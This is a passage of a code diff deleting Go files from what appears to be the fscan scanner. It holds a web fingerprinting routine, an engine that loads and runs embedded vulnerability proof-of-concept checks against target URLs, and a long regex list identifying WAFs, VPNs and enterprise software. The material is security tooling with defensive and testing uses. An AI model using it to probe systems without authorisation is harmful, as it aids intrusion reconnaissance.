stopChan chan bool
}
// NewMemoryMonitor 创建新的内存监控器
func NewMemoryMonitor(maxHeapMB uint64, maxGoroutines int, checkInterval time.Duration) *MemoryMonitor {
return &MemoryMonitor{
maxHeapMB: maxHeapMB,
maxGoroutines: maxGoroutines,
checkInterval: checkInterval,
stopChan: make(chan bool, 1),
}
}
// 已移除未使用的 Start 方法
// 已移除未使用的 Stop 方法
// 已移除未使用的 monitor 方法
// 已移除未使用的 checkMemory 方法
// 已移除未使用的 GetMemoryStats 方法
// 已移除未使用的 ForceGC 方法
// 已移除未使用的 getHeapSize 方法
// 默认内存监控器实例
var DefaultMemMonitor = NewMemoryMonitor(
512, // 最大堆内存512MB
1000, // 最大1000个goroutines
30*time.Second, // 30秒检查一次
)
// 已移除未使用的 StartDefaultMonitor 方法
// 已移除未使用的 StopDefaultMonitor 方法

View File

@ -1,8 +0,0 @@
package utils
// 已移除未使用的 DeduplicateStrings 方法

View File

@ -1,128 +0,0 @@
package utils
import (
"strconv"
"strings"
"sync"
"sync/atomic"
)
// StringBuilderPool 字符串构建器池
type StringBuilderPool struct {
pool sync.Pool
reused int64 // 复用计数器
maxSize int // 最大保留大小,防止内存无限增长
}
// NewStringBuilderPool 创建新的字符串构建器池
func NewStringBuilderPool(maxSize int) *StringBuilderPool {
if maxSize <= 0 {
maxSize = 64 * 1024 // 默认64KB最大保留大小
}
return &StringBuilderPool{
pool: sync.Pool{
New: func() interface{} {
return &strings.Builder{}
},
},
maxSize: maxSize,
}
}
// Get 获取字符串构建器
func (p *StringBuilderPool) Get() *strings.Builder {
builder := p.pool.Get().(*strings.Builder)
builder.Reset() // 清空内容但保留容量
atomic.AddInt64(&p.reused, 1)
return builder
}
// Put 归还字符串构建器
func (p *StringBuilderPool) Put(builder *strings.Builder) {
if builder == nil {
return
}
// 如果容量超过最大限制,不放回池中以避免内存泄露
if builder.Cap() > p.maxSize {
return
}
p.pool.Put(builder)
}
// JoinStrings 高效连接字符串切片
func (p *StringBuilderPool) JoinStrings(slice []string, sep string) string {
if len(slice) == 0 {
return ""
}
if len(slice) == 1 {
return slice[0]
}
builder := p.Get()
defer p.Put(builder)
// 预估容量:所有字符串长度 + 分隔符长度
var totalLen int
for _, s := range slice {
totalLen += len(s)
}
totalLen += len(sep) * (len(slice) - 1)
// 如果当前容量不足,预先增长
if builder.Cap() < totalLen {
builder.Grow(totalLen)
}
builder.WriteString(slice[0])
for i := 1; i < len(slice); i++ {
builder.WriteString(sep)
builder.WriteString(slice[i])
}
return builder.String()
}
// JoinInts 高效连接整数切片
func (p *StringBuilderPool) JoinInts(slice []int, sep string) string {
if len(slice) == 0 {
return ""
}
if len(slice) == 1 {
return strconv.Itoa(slice[0])
}
builder := p.Get()
defer p.Put(builder)
// 预估容量平均每个整数4字符 + 分隔符
estimatedLen := len(slice)*4 + len(sep)*(len(slice)-1)
if builder.Cap() < estimatedLen {
builder.Grow(estimatedLen)
}
builder.WriteString(strconv.Itoa(slice[0]))
for i := 1; i < len(slice); i++ {
builder.WriteString(sep)
builder.WriteString(strconv.Itoa(slice[i]))
}
return builder.String()
}
// 全局字符串构建器池实例
var GlobalStringBuilderPool = NewStringBuilderPool(64 * 1024)
// 便捷函数,使用全局池
func JoinStrings(slice []string, sep string) string {
return GlobalStringBuilderPool.JoinStrings(slice, sep)
}
func JoinInts(slice []int, sep string) string {
return GlobalStringBuilderPool.JoinInts(slice, sep)
}

View File

@ -1,98 +0,0 @@
package WebScan
import (
"crypto/md5"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/webscan/info"
"regexp"
)
// CheckDatas 存储HTTP响应的检查数据
type CheckDatas struct {
Body []byte // 响应体
Headers string // 响应头
}
// InfoCheck 检查URL的指纹信息
func InfoCheck(Url string, CheckData *[]CheckDatas) []string {
var matchedInfos []string
// 遍历检查数据
for _, data := range *CheckData {
// 规则匹配检查
for _, rule := range info.RuleDatas {
var matched bool
var err error
// 根据规则类型选择匹配内容
switch rule.Type {
case "code":
matched, err = regexp.MatchString(rule.Rule, string(data.Body))
default:
matched, err = regexp.MatchString(rule.Rule, data.Headers)
}
// 处理匹配错误
if err != nil {
common.LogError(fmt.Sprintf("规则匹配错误 [%s]: %v", rule.Name, err))
continue
}
// 添加匹配成功的规则名
if matched {
matchedInfos = append(matchedInfos, rule.Name)
}
}
// MD5匹配检查暂时注释
/*
if flag, name := CalcMd5(data.Body); flag {
matchedInfos = append(matchedInfos, name)
}
*/
}
// 去重处理
matchedInfos = removeDuplicateElement(matchedInfos)
// 输出结果
if len(matchedInfos) > 0 {
result := fmt.Sprintf("发现指纹 目标: %-25v 指纹: %s", Url, matchedInfos)
common.LogInfo(result)
return matchedInfos
}
return []string{}
}
// CalcMd5 计算内容的MD5并与指纹库比对
func CalcMd5(Body []byte) (bool, string) {
contentMd5 := fmt.Sprintf("%x", md5.Sum(Body))
// 比对MD5指纹库
for _, md5Info := range info.Md5Datas {
if contentMd5 == md5Info.Md5Str {
return true, md5Info.Name
}
}
return false, ""
}
// removeDuplicateElement 移除切片中的重复元素
func removeDuplicateElement(items []string) []string {
// 预分配空间
result := make([]string, 0, len(items))
seen := make(map[string]struct{}, len(items))
// 使用map去重
for _, item := range items {
if _, exists := seen[item]; !exists {
seen[item] = struct{}{}
result = append(result, item)
}
}
return result
}

View File

@ -1,325 +0,0 @@
package WebScan
import (
"context"
"embed"
"errors"
"fmt"
"net/http"
"net/url"
"os"
"path/filepath"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/config"
"github.com/shadow1ng/fscan/webscan/lib"
)
// 常量定义
const (
protocolHTTP = "http://"
protocolHTTPS = "https://"
yamlExt = ".yaml"
ymlExt = ".yml"
defaultTimeout = 30 * time.Second
concurrencyLimit = 10 // 并发加载POC的限制
)
// 错误定义
var (
ErrInvalidURL = errors.New("无效的URL格式")
ErrEmptyTarget = errors.New("目标URL为空")
ErrPocNotFound = errors.New("未找到匹配的POC")
ErrPocLoadFailed = errors.New("POC加载失败")
)
//go:embed pocs
var pocsFS embed.FS
var (
once sync.Once
allPocs []*lib.Poc
)
// WebScan 执行Web漏洞扫描
func WebScan(info *common.HostInfo) {
// 初始化POC
once.Do(initPocs)
// 验证输入
if info == nil {
common.LogError("无效的扫描目标")
return
}
if len(allPocs) == 0 {
common.LogError("POC加载失败无法执行扫描")
return
}
// 构建目标URL
target, err := buildTargetURL(info)
if err != nil {
common.LogError(fmt.Sprintf("构建目标URL失败: %v", err))
return
}
// 使用带超时的上下文
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
defer cancel()
// 根据扫描策略执行POC
if common.Pocinfo.PocName == "" && len(info.Infostr) == 0 {
// 执行所有POC
executePOCs(ctx, config.PocInfo{Target: target})
} else if len(info.Infostr) > 0 {
// 基于指纹信息执行POC
scanByFingerprints(ctx, target, info.Infostr)
} else if common.Pocinfo.PocName != "" {
// 基于指定POC名称执行
executePOCs(ctx, config.PocInfo{Target: target, PocName: common.Pocinfo.PocName})
}
}
// buildTargetURL 构建规范的目标URL
func buildTargetURL(info *common.HostInfo) (string, error) {
// 自动构建URL
if info.Url == "" {
info.Url = fmt.Sprintf("%s%s:%s", protocolHTTP, info.Host, info.Ports)
} else if !hasProtocolPrefix(info.Url) {
info.Url = protocolHTTP + info.Url
}
// 解析URL以提取基础部分
parsedURL, err := url.Parse(info.Url)
if err != nil {
return "", fmt.Errorf("%w: %v", ErrInvalidURL, err)
}
return fmt.Sprintf("%s://%s", parsedURL.Scheme, parsedURL.Host), nil
}
// hasProtocolPrefix 检查URL是否包含协议前缀
func hasProtocolPrefix(urlStr string) bool {
return strings.HasPrefix(urlStr, protocolHTTP) || strings.HasPrefix(urlStr, protocolHTTPS)
}
// scanByFingerprints 根据指纹执行POC
func scanByFingerprints(ctx context.Context, target string, fingerprints []string) {
for _, fingerprint := range fingerprints {
if fingerprint == "" {
continue
}
pocName := lib.CheckInfoPoc(fingerprint)
if pocName == "" {
continue
}
executePOCs(ctx, config.PocInfo{Target: target, PocName: pocName})
}
}
// executePOCs 执行POC检测
func executePOCs(ctx context.Context, pocInfo config.PocInfo) {
// 验证目标
if pocInfo.Target == "" {
common.LogError(ErrEmptyTarget.Error())
return
}
// 确保URL格式正确
if !hasProtocolPrefix(pocInfo.Target) {
pocInfo.Target = protocolHTTP + pocInfo.Target
}
// 验证URL
_, err := url.Parse(pocInfo.Target)
if err != nil {
common.LogError(fmt.Sprintf("%v %s: %v", ErrInvalidURL, pocInfo.Target, err))
return
}
// 创建基础请求
req, err := createBaseRequest(ctx, pocInfo.Target)
if err != nil {
common.LogError(fmt.Sprintf("创建HTTP请求失败: %v", err))
return
}
// 筛选POC
matchedPocs := filterPocs(pocInfo.PocName)
if len(matchedPocs) == 0 {
common.LogDebug(fmt.Sprintf("%v: %s", ErrPocNotFound, pocInfo.PocName))
return
}
// 执行POC检测
lib.CheckMultiPoc(req, matchedPocs, common.PocNum)
}
// createBaseRequest 创建带上下文的HTTP请求
func createBaseRequest(ctx context.Context, target string) (*http.Request, error) {
req, err := http.NewRequestWithContext(ctx, "GET", target, nil)
if err != nil {
return nil, err
}
// 设置请求头
req.Header.Set("User-agent", common.UserAgent)
req.Header.Set("Accept", common.Accept)
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
if common.Cookie != "" {
req.Header.Set("Cookie", common.Cookie)
}
return req, nil
}
// initPocs 初始化并加载POC
func initPocs() {
// 预分配容量避免频繁扩容典型POC数量在100-500之间
allPocs = make([]*lib.Poc, 0, 256)
if common.PocPath == "" {
loadEmbeddedPocs()
} else {
loadExternalPocs(common.PocPath)
}
}
// loadEmbeddedPocs 加载内置POC
func loadEmbeddedPocs() {
entries, err := pocsFS.ReadDir("pocs")
if err != nil {
common.LogError(fmt.Sprintf("加载内置POC目录失败: %v", err))
return
}
// 收集所有POC文件
var pocFiles []string
for _, entry := range entries {
if isPocFile(entry.Name()) {
pocFiles = append(pocFiles, entry.Name())
}
}
// 并发加载POC文件
loadPocsConcurrently(pocFiles, true, "")
}
// loadExternalPocs 从外部路径加载POC
func loadExternalPocs(pocPath string) {
if !directoryExists(pocPath) {
common.LogError(fmt.Sprintf("POC目录不存在: %s", pocPath))
return
}
// 收集所有POC文件路径
var pocFiles []string
err := filepath.Walk(pocPath, func(path string, info os.FileInfo, err error) error {
if err != nil || info == nil || info.IsDir() {
return nil
}
if isPocFile(info.Name()) {
pocFiles = append(pocFiles, path)
}
return nil
})
if err != nil {
common.LogError(fmt.Sprintf("遍历POC目录失败: %v", err))
return
}
// 并发加载POC文件
loadPocsConcurrently(pocFiles, false, pocPath)
}
// loadPocsConcurrently 并发加载POC文件
func loadPocsConcurrently(pocFiles []string, isEmbedded bool, pocPath string) {
pocCount := len(pocFiles)
if pocCount == 0 {
return
}
var wg sync.WaitGroup
var mu sync.Mutex
var successCount, failCount int
// 使用信号量控制并发数
semaphore := make(chan struct{}, concurrencyLimit)
for _, file := range pocFiles {
wg.Add(1)
semaphore <- struct{}{} // 获取信号量
go func(filename string) {
defer func() {
<-semaphore // 释放信号量
wg.Done()
}()
var poc *lib.Poc
var err error
// 根据不同的来源加载POC
if isEmbedded {
poc, err = lib.LoadPoc(filename, pocsFS)
} else {
poc, err = lib.LoadPocbyPath(filename)
}
mu.Lock()
defer mu.Unlock()
if err != nil {
failCount++
return
}
if poc != nil {
allPocs = append(allPocs, poc)
successCount++
}
}(file)
}
wg.Wait()
common.LogBase(fmt.Sprintf("POC加载完成: 总共%d个成功%d个失败%d个",
pocCount, successCount, failCount))
}
// directoryExists 检查目录是否存在
func directoryExists(path string) bool {
info, err := os.Stat(path)
return err == nil && info.IsDir()
}
// isPocFile 检查文件是否为POC文件
func isPocFile(filename string) bool {
lowerName := strings.ToLower(filename)
return strings.HasSuffix(lowerName, yamlExt) || strings.HasSuffix(lowerName, ymlExt)
}
// filterPocs 根据POC名称筛选
func filterPocs(pocName string) []*lib.Poc {
if pocName == "" {
return allPocs
}
// 转换为小写以进行不区分大小写的匹配
searchName := strings.ToLower(pocName)
var matchedPocs []*lib.Poc
for _, poc := range allPocs {
if poc != nil && strings.Contains(strings.ToLower(poc.Name), searchName) {
matchedPocs = append(matchedPocs, poc)
}
}
return matchedPocs
}

View File

@ -1,314 +0,0 @@
package info
type RuleData struct {
Name string
Type string
Rule string
}
type Md5Data struct {
Name string
Md5Str string
}
type PocData struct {
Name string
Alias string
}
var RuleDatas = []RuleData{
{"宝塔", "code", "(app.bt.cn/static/app.png|安全入口校验失败|<title>入口校验失败</title>|href=\"http://www.bt.cn/bbs)"},
{"深信服防火墙类产品", "code", "(SANGFOR FW)"},
{"360网站卫士", "code", "(webscan.360.cn/status/pai/hash|wzws-waf-cgi|zhuji.360.cn/guard/firewall/stopattack.html)"},
{"360网站卫士", "headers", "(360wzws|CWAP-waf|zhuji.360.cn|X-Safe-Firewall)"},
{"绿盟防火墙", "code", "(NSFOCUS NF)"},
{"绿盟防火墙", "headers", "(NSFocus)"},
{"Topsec-Waf", "index", `(<META NAME="Copyright" CONTENT="Topsec Network Security Technology Co.,Ltd"/>","<META NAME="DESCRIPTION" CONTENT="Topsec web UI"/>)`},
{"Anquanbao", "headers", "(Anquanbao)"},
{"BaiduYunjiasu", "headers", "(yunjiasu)"},
{"BigIP", "headers", "(BigIP|BIGipServer)"},
{"BinarySEC", "headers", "(binarysec)"},
{"BlockDoS", "headers", "(BlockDos.net)"},
{"CloudFlare", "headers", "(cloudflare)"},
{"Cloudfront", "headers", "(cloudfront)"},
{"Comodo", "headers", "(Protected by COMODO)"},
{"IBM-DataPower", "headers", "(X-Backside-Transport)"},
{"DenyAll", "headers", "(sessioncookie=)"},
{"dotDefender", "headers", "(dotDefender)"},
{"Incapsula", "headers", "(X-CDN|Incapsula)"},
{"Jiasule", "headers", "(jsluid=)"},
{"KONA", "headers", "(AkamaiGHost)"},
{"ModSecurity", "headers", "(Mod_Security|NOYB)"},
{"NetContinuum", "headers", "(Cneonction|nnCoection|citrix_ns_id)"},
{"Newdefend", "headers", "(newdefend)"},
{"Safe3", "headers", "(Safe3WAF|Safe3 Web Firewall)"},
{"Safedog", "code", "(404.safedog.cn/images/safedogsite/broswer_logo.jpg)"},
{"Safedog", "headers", "(Safedog|WAF/2.0)"},
{"SonicWALL", "headers", "(SonicWALL)"},
{"Stingray", "headers", "(X-Mapping-)"},
{"Sucuri", "headers", "(Sucuri/Cloudproxy)"},
{"Usp-Sec", "headers", "(Secure Entry Server)"},
{"Varnish", "headers", "(varnish)"},
{"Wallarm", "headers", "(wallarm)"},
{"阿里云", "code", "(errors.aliyun.com)"},
{"WebKnight", "headers", "(WebKnight)"},
{"Yundun", "headers", "(YUNDUN)"},
{"Yunsuo", "headers", "(yunsuo)"},
{"Coding pages", "header", "(Coding Pages)"},
{"启明防火墙", "code", "(/cgi-bin/webui?op=get_product_model)"},
{"Shiro", "headers", "(=deleteMe|rememberMe=)"},
{"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
{"Gogs简易Git服务", "cookie", "(i_like_gogs)"},
{"Gitea简易Git服务", "cookie", "(i_like_gitea)"},
{"Nexus", "code", "(Nexus Repository Manager)"},
{"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"},
{"Harbor", "code", "(<title>Harbor</title>)"},
{"Harbor", "cookie", "(harbor-lang)"},
{"禅道", "code", "(/theme/default/images/main/zt-logo.png|/zentao/theme/zui/css/min.css)"},
{"禅道", "cookie", "(zentaosid)"},
{"协众OA", "code", "(Powered by 协众OA)"},
{"协众OA", "cookie", "(CNOAOASESSID)"},
{"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"},
{"atmail-WebMail", "cookie", "(atmail6)"},
{"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin|Powered by Atmail)"},
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>)"},
{"致远OA", "code", "(/seeyon/common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
{"discuz", "code", "(content=\"Discuz! X\")"},
{"Typecho", "code", "(Typecho</a>)"},
{"金蝶EAS", "code", "(easSessionId)"},
{"phpMyAdmin", "cookie", "(pma_lang|phpMyAdmin)"},
{"phpMyAdmin", "code", "(/themes/pmahomme/img/logo_right.png)"},
{"H3C-AM8000", "code", "(AM8000)"},
{"360企业版", "code", "(360EntWebAdminMD5Secret)"},
{"H3C公司产品", "code", "(service@h3c.com)"},
{"H3C ICG 1000", "code", "(ICG 1000系统管理)"},
{"Citrix-Metaframe", "code", "(window.location=\"/Citrix/MetaFrame)"},
{"H3C ER5100", "code", "(ER5100系统管理)"},
{"阿里云CDN", "code", "(cdn.aliyuncs.com)"},
{"CISCO_EPC3925", "code", "(Docsis_system)"},
{"CISCO ASR", "code", "(CISCO ASR)"},
{"H3C ER3200", "code", "(ER3200系统管理)"},
{"万户oa", "code", "(/defaultroot/templates/template_system/common/css/|/defaultroot/scripts/|css/css_whir.css)"},
{"Spark_Master", "code", "(Spark Master at)"},
{"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"},
{"蓝凌OA", "code", "(/scripts/jquery.landray.common.js)"},
{"深信服ssl-vpn", "code", "(login_psw.csp)"},
{"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"},
{"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"},
{"juniper_vpn", "code", "(welcome.cgi?p=logo|/images/logo_juniper_reversed.gif)"},
{"360主机卫士", "headers", "(zhuji.360.cn)"},
{"Nagios", "headers", "(Nagios Access)"},
{"H3C ER8300", "code", "(ER8300系统管理)"},
{"Citrix-Access-Gateway", "code", "(Citrix Access Gateway)"},
{"华为 MCU", "code", "(McuR5-min.js)"},
{"TP-LINK Wireless WDR3600", "code", "(TP-LINK Wireless WDR3600)"},
{"泛微OA", "headers", "(ecology_JSessionid)"},
{"泛微OA", "code", "(/spa/portal/public/index.js)"},
{"华为_HUAWEI_ASG2050", "code", "(HUAWEI ASG2050)"},
{"360网站卫士", "code", "(360wzb)"},
{"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
{"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
{"zabbix", "cookie", "(zbx_sessionid)"},
{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA|zabbix-server: Zabbix)"},
{"CISCO_VPN", "headers", "(webvpn)"},
{"360站长平台", "code", "(360-site-verification)"},
{"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
{"o2security_vpn", "headers", "(client_param=install_active)"},
{"H3C ER3260G2", "code", "(ER3260G2系统管理)"},
{"H3C ICG1000", "code", "(ICG1000系统管理)"},
{"CISCO-CX20", "code", "(CISCO-CX20)"},
{"H3C ER5200", "code", "(ER5200系统管理)"},
{"linksys-vpn-bragap14-parintins", "code", "(linksys-vpn-bragap14-parintins)"},
{"360网站卫士常用前端公共库", "code", "(libs.useso.com)"},
{"H3C ER3100", "code", "(ER3100系统管理)"},
{"H3C-SecBlade-FireWall", "code", "(js/MulPlatAPI.js)"},
{"360webfacil_360WebManager", "code", "(publico/template/)"},
{"Citrix_Netscaler", "code", "(ns_af)"},
{"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
{"H3C ER3260", "code", "(ER3260系统管理)"},
{"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
{"exchange", "code", "(/owa/auth.owa|Exchange Admin Center)"},
{"Spark_Worker", "code", "(Spark Worker at)"},
{"H3C ER3108G", "code", "(ER3108G系统管理)"},
{"Citrix-ConfProxy", "code", "(confproxy)"},
{"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"},
{"H3C ER5200G2", "code", "(ER5200G2系统管理)"},
{"华为HUAWEI安全设备", "code", "(sweb-lib/resource/)"},
{"华为HUAWEIUSG", "code", "(UI_component/commonDefine/UI_regex_define.js)"},
{"H3C ER6300", "code", "(ER6300系统管理)"},
{"华为_HUAWEI_ASG2100", "code", "(HUAWEI ASG2100)"},
{"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"},
{"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"},
{"H3C ER2100", "code", "(ER2100系统管理)"},
{"jira", "code", "(jira.webresources)"},
{"金和协同管理平台", "code", "(金和协同管理平台)"},
{"Citrix-NetScaler", "code", "(NS-CACHE)"},
{"linksys-vpn", "headers", "(linksys-vpn)"},
{"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版|Office Anywhere)"},
{"华为HUAWEISecoway设备", "code", "(Secoway)"},
{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
{"H3C ER2100n", "code", "(ER2100n系统管理)"},
{"H3C ER8300G2", "code", "(ER8300G2系统管理)"},
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js)"},
{"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
{"Jboss", "headers", "(JBoss)"},
{"泛微E-mobile", "code", "(Weaver E-mobile|weaver,e-mobile)"},
{"泛微E-mobile", "headers", "(EMobileServer)"},
{"齐治堡垒机", "code", "(logo-icon-ico72.png|resources/themes/images/logo-login.png)"},
{"ThinkPHP", "headers", "(ThinkPHP)"},
{"ThinkPHP", "code", "(/Public/static/js/)"},
{"weaver-ebridge", "code", "(e-Bridge,http://wx.weaver)"},
{"Laravel", "headers", "(laravel_session)"},
{"DWR", "code", "(dwr/engine.js)"},
{"swagger_ui", "code", "(swagger-ui/css|\"swagger\":|swagger-ui.min.js)"},
{"大汉版通发布系统", "code", "(大汉版通发布系统|大汉网络)"},
{"druid", "code", "(druid.index|DruidDrivers|DruidVersion|Druid Stat Index)"},
{"Jenkins", "code", "(Jenkins)"},
{"红帆OA", "code", "(iOffice)"},
{"VMware vSphere", "code", "(VMware vSphere)"},
{"打印机", "code", "(打印机|media/canon.gif)"},
{"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"},
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/profile.css|sys/ui/extend/theme/default/style/icon.css)"},
{"GitLab", "code", "(href=\"https://about.gitlab.com/)"},
{"Jquery-1.7.2", "code", "(/webui/js/jquerylib/jquery-1.7.2.min.js)"},
{"Hadoop Applications", "code", "(/cluster/app/application)"},
{"海昌OA", "code", "(/loginmain4/js/jquery.min.js)"},
{"帆软报表", "code", "(WebReport/login.html|ReportServer)"},
{"帆软报表", "headers", "(数据决策系统)"},
{"华夏ERP", "headers", "(华夏ERP)"},
{"金和OA", "cookie", "(ASPSESSIONIDSSCDTDBS)"},
{"久其财务报表", "code", "(netrep/login.jsp|/netrep/intf)"},
{"若依管理系统", "code", "(ruoyi/login.js|ruoyi/js/ry-ui.js)"},
{"启莱OA", "code", "(js/jQselect.js|js/jquery-1.4.2.min.js)"},
{"智慧校园管理系统", "code", "(DC_Login/QYSignUp)"},
{"JQuery-1.7.2", "code", "(webui/js/jquerylib/jquery-1.7.2.min.js)"},
{"浪潮 ClusterEngineV4.0", "code", "(0;url=module/login/login.html)"},
{"会捷通云视讯平台", "code", "(him/api/rest/v1.0/node/role|him.app)"},
{"源码泄露账号密码 F12查看", "code", "(get_dkey_passwd)"},
{"Smartbi Insight", "code", "(smartbi.gcf.gcfutil)"},
{"汉王人脸考勤管理系统", "code", "(汉王人脸考勤管理系统|/Content/image/hanvan.png|/Content/image/hvicon.ico)"},
{"亿赛通-电子文档安全管理系统", "code", "(电子文档安全管理系统|/CDGServer3/index.jsp|/CDGServer3/SysConfig.jsp|/CDGServer3/help/getEditionInfo.jsp)"},
{"天融信 TopApp-LB 负载均衡系统", "code", "(TopApp-LB 负载均衡系统)"},
{"中新金盾信息安全管理系统", "code", "(中新金盾信息安全管理系统|中新网络信息安全股份有限公司)"},
{"好视通", "code", "(深圳银澎云计算有限公司|itunes.apple.com/us/app/id549407870|hao-shi-tong-yun-hui-yi-yuan)"},
{"蓝海卓越计费管理系统", "code", "(蓝海卓越计费管理系统|星锐蓝海网络科技有限公司)"},
{"和信创天云桌面系统", "code", "(和信下一代云桌面VENGD|/vesystem/index.php)"},
{"金山", "code", "(北京猎鹰安全科技有限公司|金山终端安全系统V9.0Web控制台|北京金山安全管理系统技术有限公司|金山V8)"},
{"WIFISKY-7层流控路由器", "code", "(深圳市领空技术有限公司|WIFISKY 7层流控路由器)"},
{"MetInfo-米拓建站", "code", "(MetInfo|/skin/style/metinfo.css|/skin/style/metinfo-v2.css)"},
{"IBM-Lotus-Domino", "code", "(/mailjump.nsf|/domcfg.nsf|/names.nsf|/homepage.nsf)"},
{"APACHE-kylin", "code", "(url=kylin)"},
{"C-Lodop打印服务系统", "code", "(/CLodopfuncs.js|www.c-lodop.com)"},
{"HFS", "code", "(href=\"http://www.rejetto.com/hfs/)"},
{"Jellyfin", "code", "(content=\"http://jellyfin.org\")"},
{"FIT2CLOUD-JumpServer-堡垒机", "code", "(<title>JumpServer</title>)"},
{"Alibaba Nacos", "code", "(<title>Nacos</title>)"},
{"Nagios", "headers", "(nagios admin)"},
{"Pulse Connect Secure", "code", "(/dana-na/imgs/space.gif)"},
{"h5ai", "code", "(powered by h5ai)"},
{"jeesite", "cookie", "(jeesite.session.id)"},
{"拓尔思SSO", "cookie", "(trsidsssosessionid)"},
{"拓尔思WCMv7/6", "cookie", "(com.trs.idm.coSessionId)"},
{"天融信脆弱性扫描与管理系统", "code", "(/js/report/horizontalReportPanel.js)"},
{"天融信网络审计系统", "code", "(onclick=dlg_download())"},
{"天融信日志收集与分析系统", "code", "(天融信日志收集与分析系统)"},
{"URP教务系统", "code", "(北京清元优软科技有限公司)"},
{"科来RAS", "code", "(科来软件 版权所有|i18ninit.min.js)"},
{"正方OA", "code", "(zfoausername)"},
{"希尔OA", "code", "(/heeroa/login.do)"},
{"泛普建筑工程施工OA", "code", "(/dwr/interface/LoginService.js)"},
{"中望OA", "code", "(/IMAGES/default/first/xtoa_logo.png|/app_qjuserinfo/qjuserinfoadd.jsp)"},
{"海天OA", "code", "(HTVOS.js)"},
{"信达OA", "code", "(http://www.xdoa.cn</a>)"},
{"任我行CRM", "code", "(CRM_LASTLOGINUSERKEY)"},
{"Spammark邮件信息安全网关", "code", "(/cgi-bin/spammark?empty=1)"},
{"winwebmail", "code", "(WinWebMail Server|images/owin.css)"},
{"浪潮政务系统", "code", "(LangChao.ECGAP.OutPortal|OnlineQuery/QueryList.aspx)"},
{"天融信防火墙", "code", "(/cgi/maincgi.cgi)"},
{"网神防火墙", "code", "(css/lsec/login.css)"},
{"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"},
{"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"},
{"Huawei SMC", "code", "(Script/SmcScript.js?version=)"},
{"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/common)"},
{"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"},
{"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"},
{"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"},
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>|<TITLE>Error 404--Not Found</TITLE>|Welcome to Weblogic Application Server|<title>Oracle WebLogic Server 管理控制台</title>)"},
{"weblogic", "headers", "(WebLogic)"},
{"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/common/)"},
{"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
{"深信服ssl-vpn", "code", "(login_psw.csp|loginPageSP/loginPrivacy.js|/por/login_psw.csp)"},
{"Struts2", "code", "(org.apache.struts2|Struts Problem Report|struts.devMode|struts-tags|There is no Action mapped for namespace)"},
{"泛微OA", "code", "(/spa/portal/public/index.js|wui/theme/ecology8/page/images/login/username_wev8.png|/wui/index.html#/?logintype=1)"},
{"Swagger UI", "code", "(/swagger-ui.css|swagger-ui-bundle.js|swagger-ui-standalone-preset.js)"},
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js|HTML5/content/themes/kdcss.min.css|/ClientBin/Kingdee.BOS.XPF.App.xap)"},
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/icon.css|sys/ui/extend/theme/default/style/profile.css)"},
{"用友NC", "code", "(Yonyou UAP|YONYOU NC|/Client/Uclient/UClient.dmg|logo/images/ufida_nc.png|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"},
{"用友IUFO", "code", "(iufo/web/css/menu.css)"},
{"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"},
{"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"},
{"CMS", "code", "(Powered by .*CMS)"},
{"目录遍历", "code", "(Directory listing for /)"},
{"ATLASSIAN-Confluence", "code", "(com.atlassian.confluence)"},
{"ATLASSIAN-Confluence", "headers", "(X-Confluence)"},
{"向日葵", "code", "({\"success\":false,\"msg\":\"Verification failure\"})"},
{"Kubernetes", "code", "(Kubernetes Dashboard</title>|Kubernetes Enterprise Manager|Mirantis Kubernetes Engine|Kubernetes Resource Report)"},
